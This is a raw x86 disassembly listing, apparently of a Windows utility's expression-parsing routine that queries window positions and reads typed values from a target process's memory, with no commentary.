mov dword [ebp - 0x28c], eax
jmp case.default.0x550aa6
lea eax, [ebp - 0x290]
call fcn.0040d374
add esp, 0xfffffff8
fstp qword [esp]
wait
mov eax, dword [ebp - 0x70]
neg eax
call fcn.0052e21c
add esp, 0xfffffff8
fstp qword [esp]
wait
lea eax, [ebp - 0xf64]
call fcn.0040d2f0
mov eax, dword [ebp - 0xf64]
mov dword [ebp - 0x290], eax
mov eax, dword [ebp - 0xf60]
mov dword [ebp - 0x28c], eax
jmp case.default.0x550aa6
lea eax, [ebp - 0x290]
call fcn.0040d374
add esp, 0xfffffff8
fstp qword [esp]
wait
mov eax, dword [ebp - 0x70]
neg eax
call fcn.0040d834
add esp, 0xfffffff8
fstp qword [esp]
wait
lea eax, [ebp - 0xf64]
call fcn.0040d2f0
mov eax, dword [ebp - 0xf64]
mov dword [ebp - 0x290], eax
mov eax, dword [ebp - 0xf60]
mov dword [ebp - 0x28c], eax
jmp case.default.0x550aa6
lea eax, [ebp - 0x290]
call fcn.0040d374
add esp, 0xfffffff8
fstp qword [esp]
wait
mov eax, dword [ebp - 0x70]
neg eax
call fcn.0052e240
add esp, 0xfffffff8
fstp qword [esp]
wait
lea eax, [ebp - 0xf64]
call fcn.0040d2f0
mov eax, dword [ebp - 0xf64]
mov dword [ebp - 0x290], eax
mov eax, dword [ebp - 0xf60]
mov dword [ebp - 0x28c], eax
jmp case.default.0x550aa6
lea eax, [ebp - 0x290]
call fcn.0040d374
add esp, 0xfffffff8
fstp qword [esp]
wait
mov eax, dword [ebp - 0x70]
neg eax
cdq
push edx
push eax
call fcn.0052e25c
add esp, 0xfffffff8
fstp qword [esp]
wait
lea eax, [ebp - 0xf64]
call fcn.0040d2f0
mov eax, dword [ebp - 0xf64]
mov dword [ebp - 0x290], eax
mov eax, dword [ebp - 0xf60]
mov dword [ebp - 0x28c], eax
jmp case.default.0x550aa6
lea eax, [ebp - 0x290]
call fcn.0040d374
add esp, 0xfffffff8
fstp qword [esp]
wait
mov eax, dword [ebp - 0x70]
neg eax
cdq
push edx
push eax
call fcn.0052e288
add esp, 0xfffffff8
fstp qword [esp]
wait
lea eax, [ebp - 0xf64]
call fcn.0040d2f0
mov eax, dword [ebp - 0xf64]
mov dword [ebp - 0x290], eax
mov eax, dword [ebp - 0xf60]
mov dword [ebp - 0x28c], eax
jmp case.default.0x550aa6
lea eax, [ebp - 0x290]
call fcn.0040d374
add esp, 0xfffffff8
fstp qword [esp]
wait
mov eax, dword [ebp - 0x70]
neg eax
cdq
push edx
push eax
call fcn.0052e2b4
add esp, 0xfffffff8
fstp qword [esp]
wait
lea eax, [ebp - 0xf64]
call fcn.0040d2f0
mov eax, dword [ebp - 0xf64]
mov dword [ebp - 0x290], eax
mov eax, dword [ebp - 0xf60]
mov dword [ebp - 0x28c], eax
jmp case.default.0x550aa6
lea eax, [ebp - 0x290]
call fcn.0040d374
add esp, 0xfffffff8
fstp qword [esp]
wait
lea ecx, [ebp - 0x110]
lea edx, [ebp - 0x7e]
lea eax, [ebp - 0x80]
call fcn.0040d73c
movzx eax, word [ebp - 0x80]
xor edx, edx
mov dword [ebp - 0x240], eax
mov dword [ebp - 0x23c], edx
jmp case.default.0x550aa6
lea eax, [ebp - 0x290]
call fcn.0040d374
add esp, 0xfffffff8
fstp qword [esp]
wait
lea ecx, [ebp - 0x110]
lea edx, [ebp - 0x7e]
lea eax, [ebp - 0x80]
call fcn.0040d73c
movzx eax, word [ebp - 0x7e]
xor edx, edx
mov dword [ebp - 0x240], eax
mov dword [ebp - 0x23c], edx
jmp case.default.0x550aa6
lea eax, [ebp - 0x290]
call fcn.0040d374
add esp, 0xfffffff8
fstp qword [esp]
wait
lea ecx, [ebp - 0x110]
lea edx, [ebp - 0x7e]
lea eax, [ebp - 0x80]
call fcn.0040d73c
movzx eax, word [ebp - 0x110]
xor edx, edx
mov dword [ebp - 0x240], eax
mov dword [ebp - 0x23c], edx
jmp case.default.0x550aa6
lea eax, [ebp - 0x290]
call fcn.0040d374
add esp, 0xfffffff8
fstp qword [esp]
wait
lea eax, [ebp - 0x112]
push eax
lea ecx, [ebp - 0x110]
lea edx, [ebp - 0x7e]
lea eax, [ebp - 0x80]
call fcn.0040d460
movzx eax, word [ebp - 0x80]
xor edx, edx
mov dword [ebp - 0x240], eax
mov dword [ebp - 0x23c], edx
jmp case.default.0x550aa6
lea eax, [ebp - 0x290]
call fcn.0040d374
add esp, 0xfffffff8
fstp qword [esp]
wait
lea eax, [ebp - 0x112]
push eax
lea ecx, [ebp - 0x110]
lea edx, [ebp - 0x7e]
lea eax, [ebp - 0x80]
call fcn.0040d460
movzx eax, word [ebp - 0x7e]
xor edx, edx
mov dword [ebp - 0x240], eax
mov dword [ebp - 0x23c], edx
jmp case.default.0x550aa6
lea eax, [ebp - 0x290]
call fcn.0040d374
add esp, 0xfffffff8
fstp qword [esp]
wait
lea eax, [ebp - 0x112]
push eax
lea ecx, [ebp - 0x110]
lea edx, [ebp - 0x7e]
lea eax, [ebp - 0x80]
call fcn.0040d460
movzx eax, word [ebp - 0x110]
xor edx, edx
mov dword [ebp - 0x240], eax
mov dword [ebp - 0x23c], edx
jmp case.default.0x550aa6
mov byte [ebp - 0xd1], 0
cmp dword [ebp - 0x10], 1
jbe 0x551405
lea eax, [ebp - 0xf84]
mov edx, dword [ebp - 0x18]
add edx, 0x1051c0
call fcn.0040523c
push dword [ebp - 0xf84]
push 0x553b7c
lea eax, [ebp - 0xf88]
mov edx, dword [ebp - 0x18]
add edx, 0x1052c0
call fcn.0040523c
push dword [ebp - 0xf88]
lea eax, [ebp - 0xf80]
mov edx, 3
call fcn.00405358
mov eax, dword [ebp - 0xf80]
call fcn.0040ee74
add esp, 0xfffffff8
fstp qword [esp]
wait
lea eax, [ebp - 0x290]
call fcn.0040d2f0
jmp 0x551536
mov eax, dword [ebp - 0x18]
lea edx, [eax + 0x1051c0]
mov eax, 0x553be0
call fcn.00402fd4
test eax, eax
jle 0x551452
lea eax, [ebp - 0xf8c]
mov edx, dword [ebp - 0x18]
add edx, 0x1051c0
call fcn.0040523c
mov eax, dword [ebp - 0xf8c]
call fcn.0040ee74
add esp, 0xfffffff8
fstp qword [esp]
wait
lea eax, [ebp - 0x290]
call fcn.0040d2f0
jmp 0x551536
mov eax, dword [ebp - 0x18]
lea edx, [eax + 0x1051c0]
mov eax, 0x553be4
call fcn.00402fd4
test eax, eax
jle 0x5514d4
call fcn.0040d784
add esp, 0xfffffff8
fstp qword [esp]
wait
lea eax, [ebp - 0xf94]
call fcn.0040e554
push dword [ebp - 0xf94]
push 0x553b7c
lea eax, [ebp - 0xf98]
mov edx, dword [ebp - 0x18]
add edx, 0x1051c0
call fcn.0040523c
push dword [ebp - 0xf98]
lea eax, [ebp - 0xf90]
mov edx, 3
call fcn.00405358
mov eax, dword [ebp - 0xf90]
call fcn.0040ee74
add esp, 0xfffffff8
fstp qword [esp]
wait
lea eax, [ebp - 0x290]
call fcn.0040d2f0
jmp 0x551536
lea eax, [ebp - 0xf9c]
mov edx, dword [ebp - 0x18]
add edx, 0x1051c0
call fcn.0040523c
mov eax, dword [ebp - 0xf9c]
lea edx, [ebp - 0x240]
call fcn.0040b7d4
test al, al
je 0x551536
mov eax, dword [ebp - 0x240]
and eax, 0xffffffff
mov dword [ebp - 0x290], eax
mov eax, dword [ebp - 0x23c]
xor edx, edx
mov dword [ebp - 0x240], eax
mov dword [ebp - 0x23c], edx
mov eax, dword [ebp - 0x240]
and eax, 0xffffffff
mov dword [ebp - 0x28c], eax
mov byte [ebp - 0xd1], 1
cmp byte [ebp - 0xd1], 0
je 0x5515a3
cmp dword [ebp - 0x28c], 0
jne 0x551587
call fcn.0040d784
add esp, 0xfffffff8
fstp qword [esp]
wait
lea eax, [ebp - 0xf64]
call fcn.0040d2f0
mov eax, dword [ebp - 0xf60]
mov dword [ebp - 0x28c], eax
lea eax, [ebp - 0x290]
call fcn.0040d374
add esp, 0xfffffff8
fstp qword [esp]
wait
lea eax, [ebp - 0x4c]
call fcn.0040e56c
jmp case.default.0x550aa6
lea eax, [ebp - 0x290]
call fcn.0040d374
add esp, 0xfffffff8
fstp qword [esp]
wait
lea eax, [ebp - 0x4c]
call fcn.0040e584
jmp case.default.0x550aa6
mov eax, dword [ebp - 0x28c]
cdq
mov dword [ebp - 0x240], eax
mov dword [ebp - 0x23c], edx
mov eax, dword [ebp - 0x290]
cdq
push edx
push eax
mov edx, dword [ebp - 0x240]
xor eax, eax
add eax, dword [esp]
adc edx, dword [esp + 4]
add esp, 8
mov dword [ebp - 0x240], eax
mov dword [ebp - 0x23c], edx
push dword [ebp - 0x23c]
push dword [ebp - 0x240]
lea eax, [ebp - 0x4c]
call fcn.0040b668
mov eax, dword [ebp - 0xc0]
add eax, 0xffffff04
sub eax, 6
jb 0x551607
dec eax
sub eax, 6
jae 0x55165f
mov eax, dword [ebp - 0x28c]
cdq
mov dword [ebp - 0x240], eax
mov dword [ebp - 0x23c], edx
cmp byte [ebp - 0xd1], 0
je 0x551638
mov eax, dword [ebp - 0x290]
cdq
mov dword [ebp - 0x240], eax
mov dword [ebp - 0x23c], edx
jmp 0x55165f
mov eax, dword [ebp - 0x290]
cdq
push edx
push eax
mov edx, dword [ebp - 0x240]
xor eax, eax
add eax, dword [esp]
adc edx, dword [esp + 4]
add esp, 8
mov dword [ebp - 0x240], eax
mov dword [ebp - 0x23c], edx
cmp dword [ebp - 0xc0], 0x10f
je 0x55167f
push dword [ebp - 0x23c]
push dword [ebp - 0x240]
lea eax, [ebp - 0x4c]
call fcn.0040b668
lea eax, [ebp - 0x1c]
mov edx, dword [ebp - 0x4c]
call fcn.00405070
lea edx, [ebp - 0x48]
mov ecx, dword [ebp - 0x54]
mov eax, dword [ebp - 0x1c]
call fcn.00405580
mov eax, dword [ebp - 0x1c]
call fcn.00405298
add dword [ebp - 0x54], eax
jmp 0x5523d0
lea edx, [ebp - 0x48]
mov ecx, esi
mov eax, dword [ebp - 0x194]
call fcn.00405580
mov eax, dword [ebp - 0x194]
call fcn.00405298
add dword [ebp - 0x54], eax
jmp 0x5523d0
call fcn.0040d784
add esp, 0xfffffff8
fstp qword [esp]
wait
lea eax, [ebp - 0x1c]
call fcn.0040e554
lea edx, [ebp - 0x48]
mov ecx, dword [ebp - 0x54]
mov eax, dword [ebp - 0x1c]
call fcn.00405580
mov eax, dword [ebp - 0x1c]
call fcn.00405298
add dword [ebp - 0x54], eax
jmp 0x5523d0
call fcn.0040d7b0
add esp, 0xfffffff8
fstp qword [esp]
wait
lea eax, [ebp - 0x1c]
call fcn.0040e56c
lea edx, [ebp - 0x48]
mov ecx, dword [ebp - 0x54]
mov eax, dword [ebp - 0x1c]
call fcn.00405580
mov eax, dword [ebp - 0x1c]
call fcn.00405298
add dword [ebp - 0x54], eax
jmp 0x5523d0
mov eax, dword [ebp - 0x54]
mov dword [ebp - 0x70], eax
mov eax, dword [ebp - 0x54]
mov dword [ebp - 0x14], eax
mov eax, dword [ebp - 0x48]
call fcn.00405298
mov dword [ebp - 0x28], eax
xor ebx, ebx
jmp 0x55175e
mov eax, dword [ebp - 0x48]
mov edx, dword [ebp - 0x14]
cmp byte [eax + edx - 1], 0x28
jne 0x55175b
mov bl, 1
jmp 0x5517a6
inc dword [ebp - 0x14]
mov eax, dword [ebp - 0x14]
cmp eax, dword [ebp - 0x28]
jg 0x5517a6
mov eax, dword [0x59046c]
push esi
mov esi, eax
lea edi, [ebp - 0x9cc]
mov ecx, 8
rep movsd dword es:[edi], dword [esi]
pop esi
lea eax, [ebp - 0x9cc]
mov edx, 0x553808
mov cl, 0x20
call fcn.00403c78
mov eax, dword [ebp - 0x48]
mov edx, dword [ebp - 0x14]
mov al, byte [eax + edx - 1]
and eax, 0xff
bt dword [ebp - 0x9cc], eax
jae 0x55174a
test bl, bl
je 0x551b30
xor eax, eax
mov dword [ebp - 0x14], eax
xor eax, eax
mov dword [ebp - 0x28], eax
lea eax, [ebp - 0x14]
push eax
lea eax, [ebp - 0x28]
push eax
lea eax, [ebp - 0x1c]
push eax
mov ecx, dword [ebp - 0x54]
mov edx, dword [ebp - 0x48]
mov eax, dword [ebp - 0x18]
call fcn.0053ddf0
cmp dword [ebp - 0x28], 0
jle 0x551aff
mov ecx, dword [ebp - 0x28]
sub ecx, dword [ebp - 0x54]
inc ecx
lea eax, [ebp - 0x48]
mov edx, dword [ebp - 0x54]
call fcn.00405538
lea eax, [ebp - 0xfa0]
mov ecx, dword [ebp - 0x1c]
mov edx, 0x553864
call fcn.004052e4
mov edx, dword [ebp - 0xfa0]
mov eax, dword [ebp - 0x18]
call fcn.0053d7b4
mov eax, dword [ebp - 0x18]
cmp byte [eax + 0x105bf5], 0
je 0x551847
lea edx, [ebp - 0xfa4]
mov eax, dword [ebp - 0x18]
mov eax, dword [eax + 0x105c60]
call fcn.0040b57c
mov edx, dword [ebp - 0xfa4]
mov eax, dword [ebp - 0x18]
add eax, 0x1054c0
mov ecx, 0xff
call fcn.00405274
lea eax, [ebp - 0xfa8]
push eax
lea eax, [ebp - 0xfb0]
mov edx, dword [ebp - 0x18]
add edx, 0x1054c0
call fcn.0040523c
mov ecx, dword [ebp - 0xfb0]
lea eax, [ebp - 0xfac]
mov edx, 0x553864
call fcn.004052e4
mov edx, dword [ebp - 0xfac]
or ecx, 0xffffffff
mov eax, dword [ebp - 0x18]
call fcn.0053e8d4
mov eax, dword [ebp - 0xfa8]
lea edx, [ebp - 0x14]
call fcn.0040b73c
test al, al
je 0x551b0c
lea ecx, [ebp - 0xc]
xor edx, edx
xor eax, eax
call fcn.00407514
xor ebx, ebx
jmp 0x551929
cmp dword [ebp - 0x14], 0
je 0x55192d
mov edx, dword [ebp - 0x14]
mov eax, dword [ebp - 0x18]
call fcn.00572678
mov ebx, eax
test bl, bl
jne 0x551929
lea eax, [ebp - 0x79c]
push eax
mov eax, dword [ebp - 0x14]
push eax
call sub.user32.dll_GetWindowRect
test eax, eax
jne 0x5518ea
xor eax, eax
mov dword [ebp - 0x79c], eax
xor eax, eax
mov dword [ebp - 0x798], eax
mov eax, dword [ebp - 0x79c]
add dword [ebp - 0xc], eax
mov eax, dword [ebp - 0x79c]
add dword [ebp - 8], eax
mov eax, dword [ebp - 0x14]
push eax
call sub.user32.dll_GetParent
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], 0
je 0x55192d
lea eax, [ebp - 0x10]
push eax
mov eax, dword [ebp - 0x14]
push eax
call sub.user32.dll_GetWindowThreadProcessId
mov eax, dword [ebp - 0x18]
mov eax, dword [eax + 0x8c]
cmp eax, dword [ebp - 0x10]
jne 0x55192d
test bl, bl
je 0x5518af
test bl, bl
je 0x551af3
mov eax, dword [ebp - 0x18]
cmp byte [eax + 0x105bf5], 0
je 0x55196a
mov eax, dword [ebp - 0x18]
mov edx, dword [ebp - 0xc]
mov dword [eax + 0x105c00], edx
mov eax, dword [ebp - 0x18]
mov edx, dword [ebp - 8]
mov dword [eax + 0x105c04], edx
mov eax, dword [ebp - 0x18]
mov edx, dword [ebp - 0x14]
mov dword [eax + 0x105c08], edx
jmp 0x551b0c
lea eax, [ebp - 0x4c]
mov edx, dword [ebp - 0x18]
add edx, 0x1052c0
call fcn.0040523c
lea eax, [ebp - 0x1c]
mov edx, dword [ebp - 0x18]
add edx, 0x1053c0
call fcn.0040523c
mov eax, dword [ebp - 0x4c]
call fcn.00405298
cmp eax, 2
jl 0x551ad9
mov eax, dword [ebp - 0x4c]
cmp byte [eax], 0x23
je 0x5519b1
mov eax, dword [ebp - 0x4c]
cmp byte [eax], 0x24
jne 0x551ad9
mov eax, dword [ebp - 0x1c]
call fcn.00405298
cmp eax, 2
jl 0x551ad9
mov eax, dword [ebp - 0x1c]
cmp byte [eax], 0x23
je 0x5519d6
mov eax, dword [ebp - 0x1c]
cmp byte [eax], 0x24
jne 0x551ad9
mov eax, dword [ebp - 0x4c]
mov al, byte [eax]
mov byte [ebp - 0xd3], al
lea eax, [ebp - 0x4c]
mov ecx, 1
mov edx, 1
call fcn.00405538
mov eax, dword [ebp - 0x10]
push eax
mov eax, dword [ebp - 0x84]
push eax
mov ecx, dword [ebp - 0x4c]
mov dl, byte [ebp - 0xd3]
mov eax, dword [ebp - 0x18]
call fcn.0055418c
mov dword [ebp - 0x54], eax
lea edx, [ebp - 0x4c]
mov eax, dword [ebp - 0xc]
call fcn.0040b57c
mov eax, dword [ebp - 0x18]
mov eax, dword [eax + 0x105be0]
push eax
mov eax, dword [ebp - 0x18]
mov eax, dword [eax + 0x105bdc]
push eax
mov eax, dword [ebp - 0x4c]
push eax
mov eax, dword [ebp - 0x10]
push eax
mov eax, dword [ebp - 0x84]
push eax
mov ecx, dword [ebp - 0x54]
mov dl, byte [ebp - 0xd3]
mov eax, dword [ebp - 0x18]
call fcn.00554a98
mov eax, dword [ebp - 0x1c]
mov al, byte [eax]
mov byte [ebp - 0xd3], al
lea eax, [ebp - 0x1c]
mov ecx, 1
mov edx, 1
call fcn.00405538
lea eax, [ebp - 0x4c]
mov edx, dword [ebp - 0x1c]
call fcn.00405070
mov eax, dword [ebp - 0x10]
push eax
mov eax, dword [ebp - 0x84]
push eax
mov ecx, dword [ebp - 0x4c]
mov dl, byte [ebp - 0xd3]
mov eax, dword [ebp - 0x18]
call fcn.0055418c
mov dword [ebp - 0x54], eax
lea edx, [ebp - 0x4c]
mov eax, dword [ebp - 8]
call fcn.0040b57c
mov eax, dword [ebp - 0x18]
mov eax, dword [eax + 0x105be0]
push eax
mov eax, dword [ebp - 0x18]
mov eax, dword [eax + 0x105bdc]
push eax
mov eax, dword [ebp - 0x4c]
push eax
mov eax, dword [ebp - 0x10]
push eax
mov eax, dword [ebp - 0x84]
push eax
mov ecx, dword [ebp - 0x54]
mov dl, byte [ebp - 0xd3]
mov eax, dword [ebp - 0x18]
call fcn.00554a98
jmp 0x551ae6
mov eax, dword [ebp - 0x18]
mov dword [eax + 0x104534], 2
lea edx, [ebp - 0x1c]
mov eax, dword [ebp - 0x14]
call fcn.0040b57c
jmp 0x551b0c
lea edx, [ebp - 0x1c]
xor eax, eax
call fcn.0040b57c
jmp 0x551b0c
lea eax, [ebp - 0x1c]
mov edx, 0x553874
call fcn.00405070
mov eax, dword [ebp - 0x70]
mov dword [ebp - 0x54], eax
lea edx, [ebp - 0x48]
mov ecx, dword [ebp - 0x54]
mov eax, dword [ebp - 0x1c]
call fcn.00405580
mov eax, dword [ebp - 0x1c]
call fcn.00405298
add dword [ebp - 0x54], eax
jmp 0x5523d0
lea edx, [ebp - 0x48]
mov ecx, esi
mov eax, dword [ebp - 0x194]
call fcn.00405580
mov eax, dword [ebp - 0x194]
call fcn.00405298
add dword [ebp - 0x54], eax
jmp 0x5523d0
lea eax, [ebp - 0x4c]
mov edx, 0x553bf0
call fcn.00405070
push 0x553bfc
push dword [ebp - 0x4c]
push 0x5539c8
push 0x553a00
push 0x5539c8
push 0x553a00
push 0x5539d4
lea eax, [ebp - 0x1c]
mov edx, 7
call fcn.00405358
lea edx, [ebp - 0x48]
mov ecx, dword [ebp - 0x54]
mov eax, dword [ebp - 0x1c]
call fcn.00405580
mov eax, dword [ebp - 0x1c]
call fcn.00405298
add dword [ebp - 0x54], eax
jmp 0x5523d0
cmp dword [ebp - 0x4c], 0
je 0x5521d2
mov edx, dword [ebp - 0x4c]
mov eax, 0x55398c
call fcn.004055dc
test eax, eax
jg 0x5521d2
mov eax, dword [0x590710]
mov eax, dword [eax]
mov edx, dword [ebp - 0xc0]
mov ecx, dword [eax]
call dword [ecx + 0x18]
mov edx, dword [0x52eeb4]
call fcn.00404350
test al, al
je 0x5521d2
mov eax, dword [0x590710]
mov eax, dword [eax]
mov edx, dword [ebp - 0xc0]
mov ecx, dword [eax]
call dword [ecx + 0x18]
mov edx, dword [eax + 4]
lea eax, [ebp - 0x1c]
call fcn.00405070
lea eax, [ebp - 0x158]
mov edx, 0x553874
call fcn.00405070
mov edx, dword [ebp - 0x1c]
mov eax, 0x553c0c
call fcn.004055dc
mov dword [ebp - 0x14], eax
mov dword [ebp - 0x278], 0
mov dword [ebp - 0x274], 0
cmp dword [ebp - 0x14], 0
jle 0x5521a6
mov eax, dword [ebp - 0x18]
add eax, 0x105be0
push eax
mov ecx, dword [ebp - 0x14]
dec ecx
mov edx, 1
mov eax, dword [ebp - 0x1c]
call fcn.004054f8
mov eax, dword [ebp - 0x18]
mov edx, dword [eax + 0x105be0]
mov eax, 0x553b50
call fcn.004055dc
mov dword [ebp - 0x28], eax
lea eax, [ebp - 0xfb4]
push eax
mov ecx, dword [ebp - 0x28]
dec ecx
mov eax, dword [ebp - 0x18]
mov eax, dword [eax + 0x105be0]
mov edx, 1
call fcn.004054f8
mov eax, dword [ebp - 0xfb4]
lea edx, [ebp - 0x280]
call fcn.0040b7d4
test al, al
jne 0x551cc2
mov dword [ebp - 0x280], 0
mov dword [ebp - 0x27c], 0
mov eax, dword [ebp - 0x18]
add eax, 0x105be0
mov ecx, dword [ebp - 0x28]
mov edx, 1
call fcn.00405538
mov eax, dword [ebp - 0x18]
mov eax, dword [eax + 0x105be0]
mov al, byte [eax]
mov byte [ebp - 0xd3], al
mov eax, dword [ebp - 0x278]
mov edx, dword [ebp - 0x274]
add eax, dword [ebp - 0x280]
adc edx, dword [ebp - 0x27c]
mov dword [ebp - 0x278], eax
mov dword [ebp - 0x274], edx
cmp dword [ebp - 0x274], 0
jne 0x551d33
cmp dword [ebp - 0x278], 0
jne 0x551d33
lea eax, [ebp - 0x158]
mov edx, 0x553874
call fcn.00405070
jmp 0x5521a6
xor eax, eax
mov al, byte [ebp - 0xd3]
add eax, 0xffffff9e
cmp eax, 0x15
ja case.0x551d4d.98
mov al, byte [eax + 0x551d54]
jmp dword [eax*4 + 0x551d6a]
push dword [ebp - 0x274]
push dword [ebp - 0x278]
push 0
push 1
mov eax, dword [ebp - 0x18]
mov eax, dword [eax + 0x4460]
push eax
mov eax, dword [ebp - 0x18]
mov eax, dword [eax + 0x8c]
push eax
lea ecx, [ebp - 0x280]
lea edx, [ebp - 0x249]
mov eax, dword [ebp - 0x18]
mov eax, dword [eax + 0x43c8]
call fcn.0052e5e4
lea edx, [ebp - 0x158]
xor eax, eax
mov al, byte [ebp - 0x249]
call fcn.0040b57c
jmp 0x55217c
push dword [ebp - 0x274]
push dword [ebp - 0x278]
push 0
push 2
mov eax, dword [ebp - 0x18]
mov eax, dword [eax + 0x4460]
push eax
mov eax, dword [ebp - 0x18]
mov eax, dword [eax + 0x8c]
push eax
lea ecx, [ebp - 0x280]
lea edx, [ebp - 0x24c]
mov eax, dword [ebp - 0x18]
mov eax, dword [eax + 0x43c8]
call fcn.0052e5e4
lea edx, [ebp - 0x158]
movzx eax, word [ebp - 0x24c]
call fcn.0040b57c
jmp 0x55217c
mov eax, dword [ebp - 0x18]
mov eax, dword [eax + 0x105be0]
call fcn.00405298
dec eax
jle 0x551eaf
mov eax, dword [ebp - 0x18]
mov eax, dword [eax + 0x105be0]
cmp byte [eax + 1], 0x6f
jne 0x551eaf
push dword [ebp - 0x274]
push dword [ebp - 0x278]
push 0
push 8
mov eax, dword [ebp - 0x18]
mov eax, dword [eax + 0x4460]
push eax
mov eax, dword [ebp - 0x18]
mov eax, dword [eax + 0x8c]
push eax
lea ecx, [ebp - 0x280]
lea edx, [ebp - 0x268]
mov eax, dword [ebp - 0x18]
mov eax, dword [eax + 0x43c8]
call fcn.0052e5e4
fld qword [ebp - 0x268]
add esp, 0xfffffff4
fstp xword [esp]
wait
lea eax, [ebp - 0x158]
call fcn.0040d188
push dword [ebp - 0x274]
push dword [ebp - 0x278]
push 0
push 4
mov eax, dword [ebp - 0x18]
mov eax, dword [eax + 0x4460]
push eax
mov eax, dword [ebp - 0x18]
mov eax, dword [eax + 0x8c]
push eax
lea ecx, [ebp - 0x280]
lea edx, [ebp - 0x250]
mov eax, dword [ebp - 0x18]
mov eax, dword [eax + 0x43c8]
call fcn.0052e5e4
mov eax, dword [ebp - 0x250]
xor edx, edx
mov dword [ebp - 0x278], eax
mov dword [ebp - 0x274], edx
mov eax, dword [ebp - 0x250]
xor edx, edx
push edx
push eax
lea eax, [ebp - 0x158]
call fcn.0040b668
jmp 0x55217c
push dword [ebp - 0x274]
push dword [ebp - 0x278]
push 0
push 8
mov eax, dword [ebp - 0x18]
mov eax, dword [eax + 0x4460]
push eax
mov eax, dword [ebp - 0x18]
mov eax, dword [eax + 0x8c]
push eax
lea ecx, [ebp - 0x280]
lea edx, [ebp - 0x270]
mov eax, dword [ebp - 0x18]
mov eax, dword [eax + 0x43c8]
call fcn.0052e5e4
mov eax, dword [ebp - 0x270]
mov dword [ebp - 0x278], eax
mov eax, dword [ebp - 0x26c]
mov dword [ebp - 0x274], eax
push dword [ebp - 0x26c]
push dword [ebp - 0x270]
lea eax, [ebp - 0x158]
call fcn.0040b668
jmp 0x55217c
push dword [ebp - 0x274]
push dword [ebp - 0x278]
push 0
push 4
mov eax, dword [ebp - 0x18]
mov eax, dword [eax + 0x4460]
push eax
mov eax, dword [ebp - 0x18]
mov eax, dword [eax + 0x8c]
push eax
lea ecx, [ebp - 0x280]
lea edx, [ebp - 0x258]
mov eax, dword [ebp - 0x18]
mov eax, dword [eax + 0x43c8]
call fcn.0052e5e4
fld dword [ebp - 0x258]
add esp, 0xfffffff4
fstp xword [esp]
wait
lea eax, [ebp - 0x158]
call fcn.0040d188
jmp 0x55217c
push dword [ebp - 0x274]
push dword [ebp - 0x278]
push 0
push 6
mov eax, dword [ebp - 0x18]
mov eax, dword [eax + 0x4460]
push eax
mov eax, dword [ebp - 0x18]
mov eax, dword [eax + 0x8c]
push eax
lea ecx, [ebp - 0x280]
lea edx, [ebp - 0x260]
mov eax, dword [ebp - 0x18]
mov eax, dword [eax + 0x43c8]
call fcn.0052e5e4
lea eax, [ebp - 0x260]
call fcn.00403f74
add esp, 0xfffffff4
fstp xword [esp]
wait
lea eax, [ebp - 0x158]
call fcn.0040d188
jmp 0x55217c
push dword [ebp - 0x274]
push dword [ebp - 0x278]
push 0
push 1
mov eax, dword [ebp - 0x18]
mov eax, dword [eax + 0x4460]
push eax
mov eax, dword [ebp - 0x18]
mov eax, dword [eax + 0x8c]
push eax
lea ecx, [ebp - 0x280]
lea edx, [ebp - 0x251]
mov eax, dword [ebp - 0x18]
mov eax, dword [eax + 0x43c8]
call fcn.0052e5e4
lea eax, [ebp - 0x158]
mov dl, byte [ebp - 0x251]
call fcn.004051c0
jmp 0x55217c
mov eax, dword [ebp - 0x18]
mov eax, dword [eax + 0x4460]
call fcn.0040b6e8
mov dword [ebp - 0x84], eax
lea eax, [ebp - 0xfbc]
push eax
mov ecx, 4
mov edx, dword [ebp - 0x30]
mov eax, dword [ebp - 0x18]
call fcn.0053e8d4
mov eax, dword [ebp - 0xfbc]
lea edx, [ebp - 0xfb8]
call fcn.0040b05c
mov edx, dword [ebp - 0xfb8]
mov eax, dword [ebp - 0x18]
add eax, 0x4460
call fcn.0040502c
cmp dword [ebp - 0x84], 0xff
jbe 0x552101
mov dword [ebp - 0x84], 0xff
push dword [ebp - 0x274]
push dword [ebp - 0x278]
mov eax, dword [ebp - 0x84]
xor edx, edx
push edx
push eax
mov eax, dword [ebp - 0x18]
mov eax, dword [eax + 0x4460]
push eax
mov eax, dword [ebp - 0x18]
mov eax, dword [eax + 0x8c]
push eax
lea ecx, [ebp - 0x280]
lea edx, [ebp - 0x99c]
mov eax, dword [ebp - 0x18]
mov eax, dword [eax + 0x43c8]
call fcn.0052e5e4
mov eax, dword [0x5903e0]
mov eax, dword [eax]
mov edx, dword [ebp - 0x18]
mov dword [edx + 0x104534], eax
lea eax, [ebp - 0x158]
lea edx, [ebp - 0x99c]
call fcn.004051d0
jmp 0x55217c
mov dword [ebp - 0x280], 0xfffffffe
mov dword [ebp - 0x27c], 0xffffffff
lea eax, [ebp - 0x1c]
mov ecx, dword [ebp - 0x14]
mov edx, 1
call fcn.00405538
mov edx, dword [ebp - 0x1c]
mov eax, 0x553c0c
call fcn.004055dc
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], 0
jg 0x551c4b
lea eax, [ebp - 0x1c]
mov edx, dword [ebp - 0x158]
call fcn.00405070
lea edx, [ebp - 0x48]
mov ecx, dword [ebp - 0x54]
mov eax, dword [ebp - 0x1c]
call fcn.00405580
mov eax, dword [ebp - 0x1c]
call fcn.00405298
add dword [ebp - 0x54], eax
jmp 0x5523d0
xor eax, eax
mov dword [ebp - 0xc], eax
xor eax, eax
mov dword [ebp - 8], eax
mov eax, dword [0x590710]
mov eax, dword [eax]
mov edx, dword [ebp - 0xc0]
mov ecx, dword [eax]
call dword [ecx + 0x18]
mov edx, dword [ebp - 0x18]
mov dword [edx + 0x44f0], eax
mov eax, dword [ebp - 0x18]
cmp dword [eax + 0x44f0], 0
je 0x5523c2
lea eax, [ebp - 0xc]
push eax
lea eax, [ebp - 8]
push eax
lea eax, [ebp - 0x1c]
push eax
mov ecx, 1
mov edx, dword [ebp - 0x48]
mov eax, dword [ebp - 0x18]
call fcn.0053ddf0
mov eax, dword [ebp - 0x18]
mov eax, dword [eax + 0x43c4]
mov edx, dword [ebp - 0x18]
mov dword [edx + 0x44f4], eax
mov eax, dword [ebp - 0x18]
mov eax, dword [eax + 0x8c]
mov edx, dword [ebp - 0x18]
mov dword [edx + 0x44f8], eax
lea eax, [ebp - 0xfc0]
push eax
lea eax, [ebp - 0xfc4]
mov ecx, dword [ebp - 0x1c]
mov edx, 0x553864
call fcn.004052e4
mov edx, dword [ebp - 0xfc4]
or ecx, 0xffffffff
mov eax, dword [ebp - 0x18]
call fcn.0053e8d4
mov eax, dword [ebp - 0xfc0]
